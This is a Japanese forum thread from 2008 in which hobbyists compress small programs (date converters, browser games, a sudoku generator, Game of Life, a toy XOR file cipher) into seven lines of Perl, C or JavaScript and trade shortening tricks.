暇つぶしで試してみてるけど中々上手くいかないなあ
0750デフォルトの名無しさん
2008/03/28(金) 17:24:060751デフォルトの名無しさん
2008/03/28(金) 17:41:260752デフォルトの名無しさん
2008/03/28(金) 18:19:04JavaScriptってあんま知らんのだけど
独自でコネクション確立ってできんのかい?
0753デフォルトの名無しさん
2008/03/28(金) 18:21:050754デフォルトの名無しさん
2008/03/28(金) 21:55:280755デフォルトの名無しさん
2008/04/01(火) 01:10:21エラーチェク付きもあったけど、とりあえず短い方で
使う時は、引数は3〜6こで、年 月 日(時 分 秒)です
l2t.pl----------------
@A=@ARGV;$D=$A[2]-1;push@M,$_-2?31-$_*.86%2:28+C($A[0])for(0..$A[1]);$D+=C($_)?
366:365for(1970..$A[0]-1);$D+=$M[$_]for(1..$A[1]-1);print 60*(60*(24*$D+$A[3]-9
)+$A[4])+$A[5],$/;sub C{$R=$_[0]%4?0:1;$R=$_[0]%900-200||$_[0]%900-600?0:1if(!
$_[0]%100);$R}
0756デフォルトの名無しさん
2008/04/01(火) 01:48:01if(!$_[0]%100) は if( (!$_[0]) % 100) になるけど大丈夫?
0757756
2008/04/01(火) 02:12:08たぶん2100年まで生きないし実用上は問題ないか。
@A=@ARGV;$D=$A[2]-1;$D+=365+!($_%4)for 1970..$A[0]-1;$D+=$_-2?31-$_*.86%2:28+!(
$A[0]%4)for 1..$A[1]-1;print 60*(60*(24*$D+$A[3]-9)+$A[4])+$A[5],$/;
0758デフォルトの名無しさん
2008/04/01(火) 02:19:47@A=@ARGV;$D=$A[2]-1;$D+=365+!($_%4)for 1970..$A[0]-1;$D+=$_-2?31-$_*.86%2:28+!(
$A[0]%4)for 1..$A[1]-1;print$A[5]+60*(60*(24*$D+$A[3]-9)+$A[4]),$/;
0759デフォルトの名無しさん
2008/04/01(火) 02:19:57timelocal は使わないでってこと?
0760デフォルトの名無しさん
2008/04/01(火) 02:29:41@A=@ARGV;print timelocal($A[5],$A[4],$A[3],$A[2],$A[1]-1,$A[0]-1900);
0761デフォルトの名無しさん
2008/04/01(火) 02:49:400762デフォルトの名無しさん
2008/04/01(火) 06:03:52($Y,$M,$D,$h,$m,$s)=@ARGV;--$D;$D+=365+!($_%4)for 1970..$Y-1;$D+=$_-2?31-$_*.86
%2:28+!($Y%4)for 1..$M-1;print$s+60*(60*(24*$D+$h-9)+$m),$/
0763デフォルトの名無しさん
2008/04/01(火) 08:02:27普通に縮めたら 5行強だった
<body id=B onmousemove=with(event)X=x,Y=y,f=ctrlKey><script>for(s=99,m=[X=Y=f=i
=0];i++<s*s;)if(i%s&i/s&1){for(v=15;m[j=i+((r=(Math.random()*4|0)-2)%2?r*s:r+1)
];t=l=s-1);m[i]=m[j]=1}(K=function(){a=t+(165<Y||Y<135&&-1);b=l+(145<X||X<115&&
-1);if(!m[a*s+l]&0<=a&a<s)t=a;if(!m[t*s+b]&0<=b&b<s)l=b;o=v/2|0;for(h=i='';i<v*
v;h+=++i%v?'':'<br>')h+=(a=(i/v|0)-o+t)<0|(b=i%v-o+l)<0|s<=a|s<=b|m[a*s+b]?'■'
:a|b?a-t|b-l?'_':'自':e='終';B.innerHTML=h;t|l&&setTimeout(K,f*99||250)||alert
(e)})()</script>
Ctrl キーを押してると速くなる
Firefox で動くようにしても激重だったから IE 専で。
その IE で onload にまとめるとこれも激重になったから結局こうなった
0764755
2008/04/01(火) 17:45:15あー、そうですね
上手く動いてたから気付いてなかった
>>758
うーん、かなり短くなりますね
まだまだ勉強不足だ
>>759
実は、timelocalの存在に気付いたのは、作った後だったんです……
>>762
かなり短くなりましたね
俺は閏年判定をかなり厳密にやってたんですけど、やっぱり意味なかったんですねw
0765デフォルトの名無しさん
2008/04/06(日) 00:43:22⊂( ^ω^)⊃耐久走
<body onload='g={};for(i=10;i;g[--i]=p=m=c=k=0);b="<br>";R=(M=Math).random;F=M.
floor;S=function(h,l){for(q="";l--;q+=h);return q};t=setInterval(function(){c+=
k;k=0;for(j=9;j;g[j]=g[j---1]);p=R()<.4?F(R()*5)-2:p;a=g[1]+p;g[0]=a>-25?a<25?a
:25:-25;d=++m+"m"+b+S("_",81)+b;for(j=m>800?8:F(m/100);j<10;d+=S("■",40-g[j]-
j)+S(" ",j*2+1)+S("■",40+g[j]-j++)+b);X.innerHTML=d+S(" ",37+c)+"⊂(^ω^)⊃"
;if(M.abs(g[9]+c)>7)clearTimeout(t)},100)' onkeydown='k=event.keyCode-38'><pre
style="font-size:50%" id=X>
カーソルの左右でコースアウトしないように進むゲーム。100m毎に視界が縮まる。
IE、FireFox、Safariで確認。
0766デフォルトの名無しさん
2008/04/06(日) 06:06:450767デフォルトの名無しさん
2008/04/06(日) 06:28:510768デフォルトの名無しさん
2008/04/06(日) 08:38:16それでも7行
0769デフォルトの名無しさん
2008/04/06(日) 11:57:15過去のスレだとみんなそういうことはコードで語ってきたんだぜ
0770デフォルトの名無しさん
2008/04/06(日) 12:15:38あれをお願いします。
0771デフォルトの名無しさん
2008/04/06(日) 12:28:31http://benryves.com/downloads/ascii_madness.zip
実行する時はコンソールをusにしてください。
ESCで開始、トンネルとか一通りのエフェクトが表示されます。
(cppソース付き)
0772デフォルトの名無しさん
2008/04/06(日) 15:57:06R=random,F=floor,A=abs;S=function(h,l){for(q="";l--;q+=h);return q};
t=setInterval(function(){c+=k;for(j=9;k=j;g[j]=g[--j]);p=R()<.4?F(R()*5
)-2:p;a=g[1]+p;g[0]=a>-25?a<25?a:25:-25;d=++m+"m"+b+S("_",81)+b;for(j=
m>800?8:F(m/100);j<10;d+=S("■",40-g[j]-j)+S(" ",j*2+1)+S("■",40+g[j]-
j++)+b);X.innerHTML=d+S(" ",37+c)+"⊂(^ω^)⊃";if(A(g[9]+c)>7)clearTimeout
(t)},100)'onkeydown=k=event.keyCode-38><pre style="font-size:50%" id=X>
with(Math)でちょっと短くなった
0773デフォルトの名無しさん
2008/04/06(日) 16:02:090774デフォルトの名無しさん
2008/04/06(日) 16:46:180775デフォルトの名無しさん
2008/04/06(日) 16:50:53random,F=floor,A=abs;S=function(h,l){for(q=h;--l;q+=h);return q};t=setInterval
(function(){c+=k;for(j=9;k=j;g[j]=g[--j]);p=R()<.4?F(R()*5)-2:p;a=g[1]+p;g[0]=
a>-25?a<25?a:25:-25;d=++m+"m"+(b="<br>")+S("_",81)+b;for(j=m>800?8:F(m/100);j<
10;d+=S("■",40-g[j]-j)+S(" ",j*2+1)+S("■",40+g[j]-j++)+b);if(A(g[9]+c)>7)
clearTimeout(t);document.body.innerHTML=d+S(" ",37+c)+"⊂(^ω^)⊃"},100)'
onkeydown=k=event.keyCode-38>
もうちょっと
0776デフォルトの名無しさん
2008/04/09(水) 16:36:01main(i){int a[]={0,293,0,293,0,-70,0,220,0,147,0,-70,0,220,0,147,0,-25,0,147,
220,293,110,20,110,293,385,460,110,20,110,440,110,460,110,-20,110,385,110,293,
110,30,110,-70,293,0,-70,0,220,0,147,0,-70,0,220,0,147,0,-25,0,147,220,293,110
,20,110,293,385,460,110,20,110,440,110,460,110,-20,110,385,110,293,110,30,110,
-70,293,147,0,147,293,385,440,220,110,220,0,440,147,55,-70,55,147,220,293,110,
0,110,-70,293,55,55,55,110,147,0,110,0,147,0,220,0,410,0,293,0,220,0,-25,0,55,
0,293,0,-70,0,220,0,147,0,-70,0,147,220,293,0,-67,0,220,0,147,0,-25,0,147,293,
440,147,110,147,440,147,55,147,55,147,-25,55,147,0,-15,0,110,0,147},b=0;printf
("Adieu\tby L.v.Beethoven");while(i<175)Beep(b+=a[i++]+440,400);}
ベートーベン10行
0777デフォルトの名無しさん
2008/04/09(水) 16:37:41#include <windows.h>
main(i){int a[]={0,293,0,293,0,-70,0,220,0,147,0,-70,0,220,0,147,0,-25,0,147,
220,293,110,20,110,293,385,460,110,20,110,440,110,460,110,-20,110,385,110,293,
110,30,110,-70,293,0,-70,0,220,0,147,0,-70,0,220,0,147,0,-25,0,147,220,293,110
,20,110,293,385,460,110,20,110,440,110,460,110,-20,110,385,110,293,110,30,110,
-70,293,147,0,147,293,385,440,220,110,220,0,440,147,55,-70,55,147,220,293,110,
0,110,-70,293,55,55,55,110,147,0,110,0,147,0,220,0,410,0,293,0,220,0,-25,0,55,
0,293,0,-70,0,220,0,147,0,-70,0,147,220,293,0,-67,0,220,0,147,0,-25,0,147,293,
440,147,110,147,440,147,55,147,55,147,-25,55,147,0,-15,0,110,0,147};printf
("Adieu\tby L.v.Beethoven");while(i<175)Beep(a[i++]+440,400);}
0778デフォルトの名無しさん
2008/04/10(木) 04:10:23他の曲も頼む
エルガーの朝の挨拶とか
0779デフォルトの名無しさん
2008/04/10(木) 11:21:080780デフォルトの名無しさん
2008/04/10(木) 15:52:46一文字づつ読ませて行ければ、7行になるかな。。。
0781デフォルトの名無しさん
2008/04/10(木) 18:19:29main(i){int a[]={-70,-67,-25,-20,-15,0,20,30,55,110,147,220,293,385,410,440,
460};printf("Adieu\tby L.v.Beethoven");while(i<175)Beep(a["fmfmfaflfkfaflfkfc"
"fklmjgjmnqjgjpjqjdjnjmjhjamfaflfkfaflfkfcfklmjgjmnqjgjpjqjdjnjmjhjamkfkmnplj"
"lfpkiaiklmjfjamiiijkfjfkflfofmflfcfifmfaflfkfafklmfbflfkfcfkmpkjkpkikikcikfe"
"fjfk"[i++]-'a']+440,400);}
0782デフォルトの名無しさん
2008/04/10(木) 18:34:49感動した
0783デフォルトの名無しさん
2008/04/10(木) 20:35:15何が起こってるのか一瞬わからんかった
0784デフォルトの名無しさん
2008/04/11(金) 11:26:07http://coliss.com/articles/build-websites/operation/javascript/976.html
nihilogic: Super Mario in 14kB Javascript
http://blog.nihilogic.dk/2008/04/super-mario-in-14kb-javascript.html
小さい+音ありバージョン
Javascript Mario (small, with music)
http://www.nihilogic.dk/labs/mario/mario_small_music.htm
0785デフォルトの名無しさん
2008/04/11(金) 17:28:540786デフォルトの名無しさん
2008/04/11(金) 17:30:360787デフォルトの名無しさん
2008/04/11(金) 20:23:22オリジナルの方は40KBだからな。
0788デフォルトの名無しさん
2008/04/11(金) 20:46:550789デフォルトの名無しさん
2008/04/11(金) 21:04:510790デフォルトの名無しさん
2008/04/11(金) 21:30:190791デフォルトの名無しさん
2008/04/11(金) 21:46:400792デフォルトの名無しさん
2008/04/12(土) 07:22:35http://zapanet.info/blog/item/1134
これよりもっと手の入れられたのがあったら、書いて欲しいっす
0793デフォルトの名無しさん
2008/04/13(日) 18:06:55document.body.contentEditable=true;
window.ondblClick=function(){a=window.open();a.document.write(document.body.innerHTML);}
</script>
某スレで拾ってきた。
IEだとcontentEditableなんてのが使えるのか。
0794デフォルトの名無しさん
2008/04/13(日) 18:44:51サンプルが見当たらなく、動くか判らん。
http://www.mozilla-japan.org/editor/midas-spec.html
0795デフォルトの名無しさん
2008/04/14(月) 00:17:21ttp://devedge-temp.mozilla.org/viewsource/2003/midas/01/
0796デフォルトの名無しさん
2008/04/14(月) 19:58:24�dクス
0797デフォルトの名無しさん
2008/04/29(火) 08:58:27http://labs.cybozu.co.jp/blog/akky/archives/2008/04/20lines-javascript-effects-by-canvas.html
Twinkle - split screen | Mathieu 'P01' HENRI | 20080427
http://www.p01.org/releases/DHTML_contests/files/20lines_twinkle/
The specification of Canvas being in progress, this script is best rendered in a recent browser such as Opera 9.5 or Firefox 3.
0798デフォルトの名無しさん
2008/04/29(火) 09:09:00http://www.p01.org/releases/DHTML_contests/
この人一杯作ってるのな
0799デフォルトの名無しさん
2008/04/30(水) 16:53:16解法ならぐぐればわさわさ出てくるけど、生成はなぜか極端に少ない
# まあ、gnudoqとかJava版(タイムインターメディア)はあるけど
生成理論が簡単なだけに、実装が複雑になると凄いトリッキーな方法が
あるんじゃないかと思って苦戦中
0800デフォルトの名無しさん
2008/04/30(水) 17:46:42解けないものや解が2つ以上あるものは論外だとして、
例えば完全体から1マス抜くだけでも生成だよね。
最低何マスとかいう制限つきになるのかな。
7行は可能そうに思える
0801デフォルトの名無しさん
2008/04/30(水) 18:12:15(勿論、コードを削ったり処理速度を上げようとすると楽とはいかないが)
雑誌に掲載するナンクロを生成するソフトなら、解が2つ以上というのは
支障があるかもしれないけど、普通に遊ぶ分には関係ないかも。
んで思ったんだが>>800の言葉を借りると、その「完全体」を作るのが
面倒って言ってるんじゃないかな。
0802デフォルトの名無しさん
2008/04/30(水) 19:24:44> 解けないか否かは全マスについて縦横エリアを走査すれば楽に判断できる。
それは嘘。とけるかどうかの判定は多項式時間で出来ない
> んで思ったんだが>>800の言葉を借りると、その「完全体」を作るのが
> 面倒って言ってるんじゃないかな。
一瞬じゃないか?ちょっと作ってみる
0803デフォルトの名無しさん
2008/04/30(水) 19:53:03縦横エリアを調べて同じ数があれば
成立しないから「解なし」じゃん
0804デフォルトの名無しさん
2008/04/30(水) 20:03:42楽に7行になったから、短縮の工夫はおろか、checkやらmapやら長いトークン使いまくり。
再帰をなくせば5行いけそう。ここから新規の問題を作成するのは大変そうだ。
#include <stdio.h>
int map[100]={0};check(int c,int n){int i,v=10;while(v>0){i=c-v;while(map[i]&&
map[i]!=n)i-=v;if(map[i])return 0;v-=9;}v=(c%10)/3+((c-10)/30)*3;while(c>10){c
--;if((c%10)/3+((c-10)/30)*3!=v)continue;if(map[c]==n)return 0;}return 1;}main
(int c,char** x) {if(c%10==0)return main(c+1,0);if(c==91)return 1;int i;for(i=
1;i<10;i++){map[c+9]=i;if(check(c+9,i)){if(main(c+1,0)){printf("%d%c",i,(c%10-
1)?' ':'\n');return 1;}}}return 0;}
0805デフォルトの名無しさん
2008/04/30(水) 20:05:36それは自明だけど、縦横エリアには問題がないけど
解きすすめていくと絶対に解けないような場合は
判断できないよね。
0806デフォルトの名無しさん
2008/04/30(水) 21:19:18速いな。7行って慣れるとこのスピードで出来るんだな
0807デフォルトの名無しさん
2008/04/30(水) 21:31:02OK
$ ./makesudoku --help
-w 虫食いの数
--help ヘルプ
こういう無駄なことやってみたいなw
0808デフォルトの名無しさん
2008/04/30(水) 23:17:46問題の規模は盤面の大きさで決まるわけで
盤面の大きさはどうせ変わらないのだから
絶対に解けない=解が2つ以上ある
ということで判定できるんじゃね
0809デフォルトの名無しさん
2008/05/01(木) 01:18:380810デフォルトの名無しさん
2008/05/01(木) 02:02:010811デフォルトの名無しさん
2008/05/01(木) 12:05:43元ソース希望してもいい?
頭こんがらがってきたから整理して流れを見てみたい
0812デフォルトの名無しさん
2008/05/01(木) 13:53:01俺は最初からこういう書き方をしているから、
元ソースはインデントが整ってるだけだよ。
コメントつけてあげてみる。
ttp://kissho.xii.jp/1/src/1jyou34093.txt.html
0813デフォルトの名無しさん
2008/05/02(金) 02:16:34このコードを1時間弱で書いたのか?
どういう手順(というか思考)で書いたのか激しく気になる。
0814デフォルトの名無しさん
2008/05/02(金) 05:42:40コメアリ
一眠りしてから見てみるか・・・
0815デフォルトの名無しさん
2008/05/02(金) 21:51:58そんなに複雑じゃ無かったよ。
まず書き始める前に、プログラム的に再帰が必須に思えるから
文字数減らすためにmain関数で再帰をすることを確定した。
それで次にmapは番兵つくればチェックの必要がなくなりそうだから
一つ余計に大きくして10x10のmapにした。
常に1を返すcheck関数を作って動作確認、とりあえずOKそう。
次にcheck関数を作る。関数にしたのは開発のためで、
文字数がきつければmain関数の中に埋め込むつもりだった。
自分の置いた場所より前に戻ってのみチェックをすればいいから、
縦にチェックするときは10ずつ、横にチェックするときは1ずつ引けばいい。
ここでもう一度動作確認、ここまでもOKそう。
最後、同じエリアに同じ数字があるかどうかのチェックコードは
エリアをuniqueな形に出力する数式を作ればとりあえずなんとかなりそう。
一番最初に思いついた数式をとりあえず使って動作確認、問題なし。
ためしにスペースを削ったら余裕で7行に収まったから最後に動作確認して終了。
0816デフォルトの名無しさん
2008/05/03(土) 16:40:010817デフォルトの名無しさん
2008/05/03(土) 18:36:40wwww
0818デフォルトの名無しさん
2008/05/03(土) 19:52:43誰がうまいこといえとwww
まぁ短くなればなるほど思想は長くなるわな
0819デフォルトの名無しさん
2008/05/04(日) 12:02:16その発想は無かったわwwww
0820デフォルトの名無しさん
2008/05/04(日) 12:35:330821デフォルトの名無しさん
2008/05/04(日) 15:06:260822デフォルトの名無しさん
2008/05/04(日) 21:56:58だから仕様記述言語はbtks
0823デフォルトの名無しさん
2008/05/04(日) 22:47:540824デフォルトの名無しさん
2008/05/05(月) 01:07:140825デフォルトの名無しさん
2008/05/05(月) 01:27:43ど〜だ?
正直言ってこのスレ、最初は洒落てたけど、最近は駄スレ通り越して
ちょっとヤバスレになりつつある。
この種の技術の鍛錬の善し悪しはグレーゾーンの真ん真ん中。
良い事なのか悪い事なのかスレスレの世界だ。
個人レベルで密やかにやることに戻ったらどーだ?
0826デフォルトの名無しさん
2008/05/05(月) 01:38:350827デフォルトの名無しさん
2008/05/05(月) 01:40:46そ、そうだったのか!
どうして気づいたのかkwsk!
0828デフォルトの名無しさん
2008/05/05(月) 02:00:060829デフォルトの名無しさん
2008/05/05(月) 06:28:13ヤバイのはお前の頭のようだ
0830デフォルトの名無しさん
2008/05/05(月) 06:49:340831デフォルトの名無しさん
2008/05/05(月) 09:36:06print ど〜だ?w
0832デフォルトの名無しさん
2008/05/05(月) 18:26:00じゃ俺たち一同で「個人的に」楽しむから
お前一人だけこのスレ見ないでくれ。
0833デフォルトの名無しさん
2008/05/05(月) 18:53:590834デフォルトの名無しさん
2008/05/05(月) 23:22:470835デフォルトの名無しさん
2008/05/05(月) 23:49:28その頃中学生だった奴も、もう大学生で就職活動をしてても
おかしくない
でも、このスレで育った子が社会に出るのはちと怖いのだが...
0836デフォルトの名無しさん
2008/05/06(火) 12:42:100837デフォルトの名無しさん
2008/05/06(火) 22:31:43こういうのは空気感染に近い性質があるからやっかいだ。
強い影響を受けているのは、物心付いたころにはすでにPCが
あった世代。つーかPCと一緒に成長した世代。
0838デフォルトの名無しさん
2008/05/06(火) 22:53:200839デフォルトの名無しさん
2008/05/06(火) 23:58:57影響を与えるレベルになって初めて意味がある
0840デフォルトの名無しさん
2008/05/07(水) 00:10:07悪影響も与えるのではないかと懸念できたらもっと素晴らしい
0841デフォルトの名無しさん
2008/05/07(水) 00:20:100842デフォルトの名無しさん
2008/05/07(水) 01:17:22影響を受けることと影響を与えることは相反しないだろ
0843デフォルトの名無しさん
2008/05/07(水) 02:08:28しかしそれは決してやってはならない。
コード濃縮する者は、原作者の人格権を尊重する。
これだけだな。いえることって。
可読性無視の7行スクリプト圧縮は、低速ネット回線
の時代は華だったけど、今じゃあんまりウケないテクだよな。
人格権を侵害してるとまでは思いたくないが。
0844デフォルトの名無しさん
2008/05/07(水) 02:25:51他人の文章を換骨奪胎して別のものに作り変えるのは悪い影響
(これも程度問題)
0845デフォルトの名無しさん
2008/05/11(日) 04:02:390846デフォルトの名無しさん
2008/05/11(日) 11:50:080847デフォルトの名無しさん
2008/05/12(月) 05:53:23行
は
書
け
よ
。
0848デフォルトの名無しさん
2008/05/12(月) 05:57:58読めま
せん
0849デフォルトの名無しさん
2008/05/12(月) 17:30:19main(i){if(i!=8)printf("7lines\n"),main(++i);
}
ほい、産業
0850デフォルトの名無しさん
2008/05/12(月) 17:44:070851デフォルトの名無しさん
2008/05/16(金) 15:27:11↑
これを発音プログラム誰か作って
0852デフォルトの名無しさん
2008/05/16(金) 18:57:27main(){puts("\a\a");}
0853デフォルトの名無しさん
2008/05/21(水) 05:28:16七行でどの程度の機能を実装できるかが勝負だなあ
0854デフォルトの名無しさん
2008/05/21(水) 05:52:570855デフォルトの名無しさん
2008/05/21(水) 07:30:51用途を絞れば、しっかり動くうpろだを作れそうだよね
0856デフォルトの名無しさん
2008/05/21(水) 10:31:330857デフォルトの名無しさん
2008/05/21(水) 10:59:260858デフォルトの名無しさん
2008/06/01(日) 11:02:30http://www.nicovideo.jp/watch/sm766671
ニコニコですまん
0859デフォルトの名無しさん
2008/06/01(日) 11:54:16面白いなw
でも1から作るのは面倒臭そうだな。。。
0860デフォルトの名無しさん
2008/06/01(日) 12:16:48http://www.nicovideo.jp/watch/sm3058430
>http://aruru.s10.xrea.com/lifegame.zip
0861デフォルトの名無しさん
2008/06/01(日) 14:10:19ちょww
もう作っちゃったのに…
0862デフォルトの名無しさん
2008/06/01(日) 19:32:150863デフォルトの名無しさん
2008/06/02(月) 20:19:46う・・・jsか・・・
ていうか、既にプログラムがあったとは見落としてたなぁ
0864デフォルトの名無しさん
2008/06/03(火) 23:48:47面白いな、このシリーズw
0865デフォルトの名無しさん
2008/06/05(木) 13:37:29#include<stdlib.h>
int main(int a,char *v[]){int c,r;FILE *i,*o;if(a<3||a>4||(i=fopen(v[1],"rb"))==
NULL||(o=fopen(v[2],"wb"))==NULL){fputs("USAGE: crypt in out [pass] \n",stderr);
return EXIT_FAILURE;}if(a==4)srand(atoi(v[3]));while((c=getc(i))!=EOF){do{r=rand
()/((RAND_MAX+1U)/256);}while(r>=256);putc(c^r,o);}return EXIT_SUCCESS;}/* :( */
0866デフォルトの名無しさん
2008/06/05(木) 16:16:53EOFは-1だっけ?
0867デフォルトの名無しさん
2008/06/05(木) 17:46:23#include<stdlib.h>
main(c,v)char**v;{int r;FILE*i,*o;if(c<3||c>4||!(i=fopen(*++v,"rb"))||!(o=fope\
n(*++v,"wb")))fputs("USAGE: crypt in out [pass] \n",stderr),exit(1);if(*++v)sr\
and(atoi(*v));for(;(c=getc(i))+1;putc(c^r,o))do r=rand()/((RAND_MAX+1U)/256);w\
hile(r>=256);exit(0);}
あとちょっとでもう一行減らせるんだがなあ…
処理系定義の型・マクロのせいで#include二行取られるのが痛いな。
0868デフォルトの名無しさん
2008/06/06(金) 00:42:48ここはあえてjsでやってみるとか
ちょうど参考になるソースもあるし
0869デフォルトの名無しさん
2008/06/11(水) 15:04:560870デフォルトの名無しさん
2008/06/12(木) 06:12:24#include <stdio.h>
int main(){int i,j,g,y=22,x=78;char a[y+2][x+2],b[y+2][x+2];a[y/2][x/2]=
a[y/2-1][x/2]=a[y/2+1][x/2]=a[y/2][x/2-1]=a[y/2-1][x/2+1]=1;for(g=1;g<999;g++){
printf("%4d\n",g);for(i=1;i<=y;i++) {for(j=1;j<=x;j++)if(a[i][j]){printf("*");
b[i-1][j-1]++;b[i-1][j]++;b[i-1][j+1]++;b[i][j-1]++;b[i][j+1]++;b[i+1][j-1]++;
b[i+1][j]++;b[i+1][j+1]++;} else printf(".");printf("\n");}for(i=0;i<=y+1;i++)
for(j=0;j<=x+1;j++){if(b[i][j]!=2)a[i][j]=(b[i][j]==3);b[i][j]=0;}}return 0;}
余白おおすぎ
0871デフォルトの名無しさん
2008/06/12(木) 12:09:350872デフォルトの名無しさん
2008/06/12(木) 12:37:340873デフォルトの名無しさん
2008/06/12(木) 12:46:27でいいのかな。
0874デフォルトの名無しさん
2008/06/12(木) 14:11:420875デフォルトの名無しさん
2008/06/12(木) 15:42:45){printf("%4d\n",g);for(i=0;++i<23;puts(""))for(j=1;j<79;){t=i*80+j++;printf(a[
t]?(b[t-81]++,b[t-80]++,b[t-79]++,b[t-1]++,b[t+1]++,b[t+79]++,b[t+80]++,b[t+81]
++,"*"):".");}for(i=j=0;i<24;)j<80?(b[t=i*80+j++]!=2&&(a[t]=b[t]==3),b[t]=0):(i
++,j=0);}}
0876デフォルトの名無しさん
2008/06/13(金) 14:07:320877デフォルトの名無しさん
2008/06/13(金) 14:08:410878デフォルトの名無しさん
2008/06/13(金) 14:24:54puts("\e[1;1H"),i=0;++i<23;puts("")){for(j=1;j<79;)p=b+i*80+j++,putchar(*(p-b+a
)?p[-81]++,p[-80]++,p[-79]++,p[-1]++,p[1]++,p[79]++,p[80]++,p[81]++,42:32);}for
(i=j=0;i<24;)j<80?(b[t=i*80+j++]!=2&&(a[t]=b[t]==3),b[t]=0):(i++,j=0);}}
0879デフォルトの名無しさん
2008/06/13(金) 14:35:13puts("\e[1;1H"),i=0;++i<23;puts("")){for(j=1;j<79;)p=b+i*80+j++,putchar(p[a-b]?
p[-81]++,p[-80]++,p[-79]++,p[-1]++,p[1]++,p[79]++,p[80]++,p[81]++,42:32);}for(i
=j=0;i<24;)j<80?(b[t=i*80+j++]!=2&&(a[t]=b[t]==3),b[t]=0):(i++,j=0);}}
0880デフォルトの名無しさん
2008/06/13(金) 16:28:59それともある処理系で認められるなら、
どんな方法でも使ってかまわない?
0881デフォルトの名無しさん
2008/06/13(金) 17:22:360882デフォルトの名無しさん
2008/06/13(金) 17:25:44例えば watcom only だとかだと限定を明記して
開発環境の導入方法から書いて欲しいなぁ、と。
0883デフォルトの名無しさん
2008/06/13(金) 18:25:29part1から語られているテーマだよな。
今のところの結論は、別にどういう処理系で書いてもいいけど、
ニッチになればなるほど認める人は少なくなるよ、って感じかな。
0884デフォルトの名無しさん
2008/06/14(土) 10:08:02標準に近ければ近いほど、ここでは制限きつくなるわけで。
0885デフォルトの名無しさん
2008/06/14(土) 14:17:45もちろんそれが可能なら、標準環境でコンパイルできないと意味を持たなくなるけど、
ほっといても>>870-879のように住人みんなで最適化するしね。
0886デフォルトの名無しさん
2008/06/14(土) 23:14:450887デフォルトの名無しさん
2008/06/14(土) 23:20:00こういうレスを今まで何回見たか。
0888デフォルトの名無しさん
2008/06/14(土) 23:36:10まず何行でもいいからできるだけ短くマインスイーパを書いてみろよ。
0889デフォルトの名無しさん
2008/06/14(土) 23:37:060890デフォルトの名無しさん
2008/06/14(土) 23:52:18勿論ココのプログラムが一つ動けばいい位の割り切りが必要かもだけど。
0891デフォルトの名無しさん
2008/06/14(土) 23:58:36glibcとかから標準関数のソースもってきて縮めるの?
0892デフォルトの名無しさん
2008/06/15(日) 00:05:26覆水盆に帰らず
0893デフォルトの名無しさん
2008/06/15(日) 00:07:180894デフォルトの名無しさん
2008/06/15(日) 00:12:08ってすると、printf()もp()ですむ。
stdio.h以外のライブラリも使い放題。
わあラクチン。
・・・違うよな?
0895デフォルトの名無しさん
2008/06/15(日) 00:22:39windows.hとかをを7行で書くんだ!
・・・まあローカル処理系路線を突き詰めたらそういうのもありかもね?
それにしても7行でどこまで機能提供できるんだろうか?
0896デフォルトの名無しさん
2008/06/15(日) 00:28:44ありものでなんとかするのが面白いと思うから
7行プログラムのためのライブラリなんかつくっちまって
提案者が敷居をいくら低くしようと勝手だが
俺は使わないと思う
0897デフォルトの名無しさん
2008/06/15(日) 00:34:180898デフォルトの名無しさん
2008/06/15(日) 00:56:510899デフォルトの名無しさん
2008/06/15(日) 01:01:520900デフォルトの名無しさん
2008/06/15(日) 01:05:190901デフォルトの名無しさん
2008/06/15(日) 01:09:52使わずに7行だったらソースを見てみたい。
0902デフォルトの名無しさん
2008/06/15(日) 01:11:26いや、無理かもわからんな
0903デフォルトの名無しさん
2008/06/15(日) 02:04:58可変サイズかつ爆弾の数も可変という信じられない作りこみの作品だったぞ
0904デフォルトの名無しさん
2008/06/15(日) 03:37:17stdarg.h使わずにどうやって可変長引数を使うんだ
0905デフォルトの名無しさん
2008/06/15(日) 03:38:090906デフォルトの名無しさん
2008/06/15(日) 03:41:31stdarg.h使った版見たいわ
もちろんC89完全準拠の奴
0907デフォルトの名無しさん
2008/06/15(日) 03:54:56#include <stdio.h>
#include <stdarg.h>
int p(char*f,...){va_list a;return vprintf(f,a);}
vprintfが卑怯?
じゃあstdio.h使わずにputcharやputsなしで標準出力に出して下さいね
0908デフォルトの名無しさん
2008/06/15(日) 03:56:23マジレスして悪いが、va_listの使い方勉強しなおしてくれ。
0909デフォルトの名無しさん
2008/06/15(日) 03:58:00vprintfはstdargの関数だからstdioをincludeする必要はないぞ。
0910デフォルトの名無しさん
2008/06/15(日) 04:02:33主旨は伝わってるからいいだろ
>>909
つまりstdarg.hを使った時点でvprintfに頼るのは運命なんですね
0911デフォルトの名無しさん
2008/06/15(日) 04:03:32酒飲んでるなら寝てくれ。
0912デフォルトの名無しさん
2008/06/15(日) 04:05:26int p(char*f,...){va_list a;int r;va_start(a,f);r=vprintf(f,a);va_end(a);return
r;}
残念だけどこれ以上は短くならんな
0913デフォルトの名無しさん
2008/06/15(日) 04:07:230914デフォルトの名無しさん
2008/06/15(日) 04:08:06そういう流れだったはずなのに、なんか変なことになってるな。
0915デフォルトの名無しさん
2008/06/15(日) 04:09:27直接スタック覗いた方が短そうだな
0916デフォルトの名無しさん
2008/06/15(日) 04:14:450917デフォルトの名無しさん
2008/06/15(日) 04:15:34ダメだ寝ぼけてる
0918デフォルトの名無しさん
2008/06/15(日) 08:09:010919デフォルトの名無しさん
2008/06/15(日) 10:16:17a[1920],b[1920],*p,i,j;main(c){for(a[839]=a[840]=a[918]=a[919]=a[999]=1;;)for(i
=0,puts("\e[1;1H"),memcpy(b,a,7680);++i<23;puts(""))for(j=1;j<79;)p=b+i*80+j++,
putchar(a[p-b]?42:32),c=p[-81]+p[-80]+p[-79]+p[-1]+p[1]+p[79]+p[80]+p[81],c!=2
&&(a[p-b]=c==3);}
0920デフォルトの名無しさん
2008/06/15(日) 11:44:44r(a){putchar(a);}d(n){n/10&&d(n/10);r(n%10+48);}p(char*f,...){va_list a;char*t;
va_start(a,f);for(;*f;f++)if(*f!='%')r(*f);else if(*++f=='s')for(t=va_arg(a,
char*);*t;r(*t++));else*f=='c'?r(va_arg(a,int)):*f=='d'?d(va_arg(a,int)):r(*f);
va_end(f);}
main(){p("%c %d %d %s %c", 40, 0, 9870, "test", 41);}
0921デフォルトの名無しさん
2008/06/15(日) 12:54:06話にならん
0922デフォルトの名無しさん
2008/06/15(日) 14:04:02から 428 見てみw
0923デフォルトの名無しさん
2008/06/15(日) 14:15:57それだとaを変更しつつaを表示してないか?
a[1920],b[1920],*p,i,j;main(c){for(a[839]=a[840]=a[918]=a[919]=a[999]=1;;)for(i
